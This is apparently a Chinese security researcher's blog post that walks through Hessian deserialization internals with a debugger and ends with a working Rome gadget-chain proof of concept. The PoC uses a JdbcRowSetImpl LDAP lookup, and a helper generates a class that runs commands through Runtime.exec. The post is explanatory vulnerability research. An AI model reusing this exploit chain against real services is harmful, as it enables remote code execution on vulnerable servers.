本文最后更新于:几秒前
基础使用
序列化
1 2 3 4 5 6 7 8
| public static String ser(Object object) throws Exception{ ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); Hessian2Output hessian2Output = new Hessian2Output(byteArrayOutputStream); hessian2Output.writeObject(object); hessian2Output.flushBuffer(); return Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray()); }
|
反序列化
1 2 3 4 5
| public static Object unser(String string) throws Exception{ ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(Base64.getDecoder().decode(string)); Hessian2Input hessian2Input = new Hessian2Input(byteArrayInputStream); return hessian2Input.readObject(); }
|
漏洞浅析
普通类反序列化流程
同之前fastjson相似的,在分析hessian反序列化的过程中,就需要创建一个普通的对象去跟踪分析一下反序列化流程,直到找到入口点
hessian反序列化的过程中并
创建一个普通类:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| package com.vivo.internet.moonbox.common.api;
public class Person { public String name; public transient int age; private float weight; public Person(String name,int age,float weight){ this.name = name; this.age = age; this.weight = weight; }
public String getName() { return name; }
public int getAge() { return age; }
public float getWeight() { return weight; }
@Override public String toString() { return "Person{" + "name='" + name + '\'' + ", age=" + age + ", weight=" + weight + '}'; } }
|
然后进行一波测试
1 2 3
| String s = ser(new Person("potato",20,70)); Person person = (Person) unser(s); System.out.println(person);
|
得到结果:
打上断点查看,原因在于Hessian在序列化数据的时候还是会检查是否实现Serializable接口
但是在Hessian中,序列化的这个规则很容易被打破,在上图第372行代码中存在一个变量_isAllowNonSerializable
,在hessian中可以由下面的语句设置为true
1
| hessian2Output.getSerializerFactory().setAllowNonSerializable(true);
|
再次运行程序
观察到返回结果为下图,transient属性不会被反序列化
所以说,这个Serializable接口实现的限制只存在于序列化,并不存在于反序列化,Hessian的反序列化理论上支持反序列化任何对象~
然后就跟进看看一整个反序列化的流程
跟进readObject(),这里的buffer是待反序列化字节流,然后取标识位,用于判断是什么类型的对象
这里我们反序列化的是自定义的Person类,所以走到了C,
走进readObjectDefinition(),
当步过readString()后,发现type被赋值为Person的类名了,中间的过程简单跟进一下看看即可
此处再走过len,代表参数的个数(非transient)
根据类获取反序列化器
一路步入,来到判断type是否为基础类型,数组等的位置
后面的步骤都比较简单理解起来没什么难度(实际上是太懒了
就不写了
贴个调用栈有兴趣的可以自己调试调试
1 2 3 4 5 6 7 8 9 10 11 12
| getFieldMap:318, UnsafeDeserializer (com.caucho.hessian.io) <init>:80, UnsafeDeserializer (com.caucho.hessian.io) getDefaultDeserializer:528, SerializerFactory (com.caucho.hessian.io) loadDeserializer:481, SerializerFactory (com.caucho.hessian.io) getDeserializer:403, SerializerFactory (com.caucho.hessian.io) getDeserializer:717, SerializerFactory (com.caucho.hessian.io) getObjectDeserializer:618, SerializerFactory (com.caucho.hessian.io) getObjectDeserializer:594, SerializerFactory (com.caucho.hessian.io) readObjectDefinition:2193, Hessian2Input (com.caucho.hessian.io) readObject:2130, Hessian2Input (com.caucho.hessian.io) unser:65, Test (com.vivo.internet.moonbox.common.api) main:49, Test (com.vivo.internet.moonbox.common.api)
|
deserializer最后经过了一堆的判断之后,来到了获取默认反序列化器
最后调用到的是UnsafeDeserializer
在UnsafeDeserializer的静态代码块中能看到我们熟悉的Unsafe对象的获取
它的构造函数中,有这样一个fetFieldMap,根据Person的类,来获取对应的field
跟进去简单看一下,看到了对transient和static属性的处理,直接跳过不处理,这也是为什么前面观察到age属性无法被反序列化
获取到的field会被存入一个人hashmap
和原生反序列化类似的,Hessian也做了对readResolve()方法的处理
其实现则非常简单,循环遍历一遍所有的method名,判断是否有readResolve的
然后一路跟回来,过程中碰到的一些缓存啥的也可以看看
等回到readObjectDefinition()后,这里的reader就变成了UnsafeDeserializer
走到这一部分,再次通过readString()方法来获取field的名字,然后丢进fields和fieldNames数组中
往下走,把前面的那些重要的内容封装起来,没啥好说的
然后add到_classDefs类定义中
然后就结束了readObjectDefinition()的过程,如其名,获取对象的各种定义
继续跟进readObject(),
然后走到这里,跟进去
一路走到底,上面实际上就是从def中获取各种的属性啊反序列化器啊等等
跟进去
实际上就是开始通过unsafe来开始反序列化了,走不进去了就)
走过这一步,obj已经是一个空的Person对象了
再跟进这个readObject(),理论上来说,走进去之后就要开始给对象赋值了
没什么特别好说的,经过这样两步完成了赋值,然后就结束了反序列化的过程~
漏洞点
这么跟了一遍下来,是通过unsafe来进行赋值操作的,似乎并没有像之前原生反序列化或者fastjson那样有readObject()或者getter/setter方法来触发
那漏洞点在哪里呢?
答案就在于Hessian对于Map的反序列化过程中,会将反序列化过后的键值对put进map中
创建一个HashMap对象跟进调试调试
进到readObject()之后,对于tag的判断来到了’H’,也就是HashMap,跟进readMap()看看
继续跟进下面的readMap()
然后就来到了比较重要的一部分了,这里判断type如果为空,那么默认是给map赋值一个HashMap,
如果是Map类型的,则当做HashMap来反序列化,如果是SortedMap类型的则当做TreeMap来进行反序列化
然后就开始将键值对分别反序列化后存入map了
然后我们知道,当对hashMap调用put()方法的时候,为了检测key值唯一性,会先调用hash(key),进而调用key.hashCode(),因此我们就可以在hashMap的kay处做文章,构造利用链,hashCode()为入口点
而对于TreeMap,为了检验key值
之前没咋用过,,所以一开始出了点小问题,问题不大
改一个自定义的Comparable
1 2 3 4 5 6 7 8 9 10
| TreeMap<Object,Object> treeMap = new TreeMap<>(); treeMap.put(new Comparable() { @Override public int compareTo(Object o) { return 0; } }, null);
String treeMapStr = ser(treeMap); unser(treeMapStr);
|
readObject()的第一步来到了’M’,经过readType()获取具体的Map类型之后,调用readMap()
然后走MapDeserializer的readMap()
再就是和上面HashMap的类似了
区别较大的是TreeMap的put()方法,跟进第一个compare()方法
会发现对k1调用了compareTo(),如果comparator(反射可赋值)不为null,还能调用comparator的compare()方法
自然就来到了我们的demo中的compareTo()了
gadget
Rome
马上学习了一下并紧接着这篇博客发布了关于yso中rome的反序列化:link
实际上一整条链子和yso的几乎没什么区别
1 2 3 4 5 6 7 8 9 10 11
| JdbcRowSetImpl.getDatabaseMetaData() Method.invoke(Object, Object...) ToStringBean.toString(String) ToStringBean.toString() ObjectBean.toString() EqualsBean.beanHashCode() HashMap.hash() HashMap.put() MapDeserializer.readMap() SerializerFactory.readMap() Hessian2Input.readObject()
|
poc:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126
| package com.vivo.internet.moonbox.common.api;
import com.caucho.hessian.io.Hessian2Input; import com.caucho.hessian.io.Hessian2Output; import com.caucho.hessian.io.SerializerFactory; import com.sun.org.apache.bcel.internal.Repository; import com.sun.org.apache.bcel.internal.classfile.JavaClass; import com.sun.org.apache.bcel.internal.classfile.Utility; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import com.sun.rowset.JdbcRowSetImpl; import com.sun.syndication.feed.impl.EqualsBean; import com.sun.syndication.feed.impl.ToStringBean; import com.vivo.internet.moonbox.common.api.model.RepeatModel; import com.vivo.internet.moonbox.common.api.serialize.HessianSerializer; import com.vivo.internet.moonbox.common.api.util.SerializerWrapper; import javassist.*; import sun.misc.Unsafe; import sun.reflect.ReflectionFactory; import sun.security.pkcs.PKCS9Attribute; import sun.security.pkcs.PKCS9Attributes; import sun.swing.SwingLazyValue;
import javax.activation.MimeTypeParameterList; import javax.swing.*; import javax.xml.transform.Templates; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; import java.nio.file.Files; import java.nio.file.Paths; import java.security.ProtectionDomain; import java.util.*;
public class Test {
public static void main(String[] args) throws Exception {
HashMap<Object,Object> hashMap = new HashMap<>();
JdbcRowSetImpl jdbcRowSet = createObjWithoutConstructor(JdbcRowSetImpl.class); jdbcRowSet.setDataSourceName("ldap://127.0.0.1:10389/cn=qwq,dc=example,dc=com");
ToStringBean toStringBean = createObjWithoutConstructor(ToStringBean.class); setField(toStringBean,"_obj",jdbcRowSet); setField(toStringBean,"_beanClass", JdbcRowSetImpl.class);
EqualsBean equalsBean = createObjWithoutConstructor(EqualsBean.class); setField(equalsBean,"_obj",toStringBean);
hashMap.put(1,1); setHashMapKey(hashMap,1,equalsBean);
String s = ser(hashMap);
unser(s);
}
public static Object unser(String string) throws Exception{ ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(Base64.getDecoder().decode(string)); Hessian2Input hessian2Input = new Hessian2Input(byteArrayInputStream); Object obj = hessian2Input.readObject(); return obj; }
public static String ser(Object object) throws Exception{ ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); Hessian2Output hessian2Output = new Hessian2Output(byteArrayOutputStream); hessian2Output.getSerializerFactory().setAllowNonSerializable(true); hessian2Output.writeObject(object); hessian2Output.flushBuffer(); return Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray()); }
public static void setHashMapKey(HashMap hashMap,Object oldKey,Object newKey) throws Exception{ Field tableField = HashMap.class.getDeclaredField("table"); tableField.setAccessible(true); Object[] table = (Object[]) tableField.get(hashMap); for (Object entry: table){ if (entry!= null){ Field keyField = entry.getClass().getDeclaredField("key"); keyField.setAccessible(true); Object keyValue = keyField.get(entry); if (keyValue.equals(oldKey)) setField(entry,"key",newKey); } } }
public static byte[] getEvilBytes(String cmd) throws Exception{ ClassPool classPool = ClassPool.getDefault(); CtClass ctClass = classPool.makeClass("evil"); String code = "{java.lang.Runtime.getRuntime().exec(\""+cmd+"\");}"; ctClass.setSuperclass(classPool.get(AbstractTranslet.class.getName())); CtConstructor constructor = ctClass.makeClassInitializer(); constructor.insertBefore(code);
return ctClass.toBytecode(); }
public static void setField(Object object,String fieldName,Object value) throws Exception{ Class<?> c = object.getClass(); Field field = c.getDeclaredField(fieldName); field.setAccessible(true); field.set(object,value); }
public static <T> T createObjWithoutConstructor(Class<T> clazz) throws Exception{ ReflectionFactory reflectionFactory = ReflectionFactory.getReflectionFactory(); Constructor<Object> constructor = Object.class.getDeclaredConstructor(); Constructor<?> constructor1 = reflectionFactory.newConstructorForSerialization(clazz,constructor); constructor1.setAccessible(true); return (T) constructor1.newInstance(); }
}
|
有个小问题就是相比于yso的rome链,这里没办法使用TemplatesImpl,一开始没有报错也不清楚问题出在哪
摸索了一番之后猜测原因在于_tfactory属性是transient的,在原生反序列化中通过重写readObject()来给其赋值,但是在hessian中对于transient的属性是没办法反序列化的,并且只能在readResolve()中可能还原
(因为我yso的rome一开始用的是TemplatesImpl的触发点,,加上没有回显报错,导致这里硬控我半个小时,,
jdk原生反序列化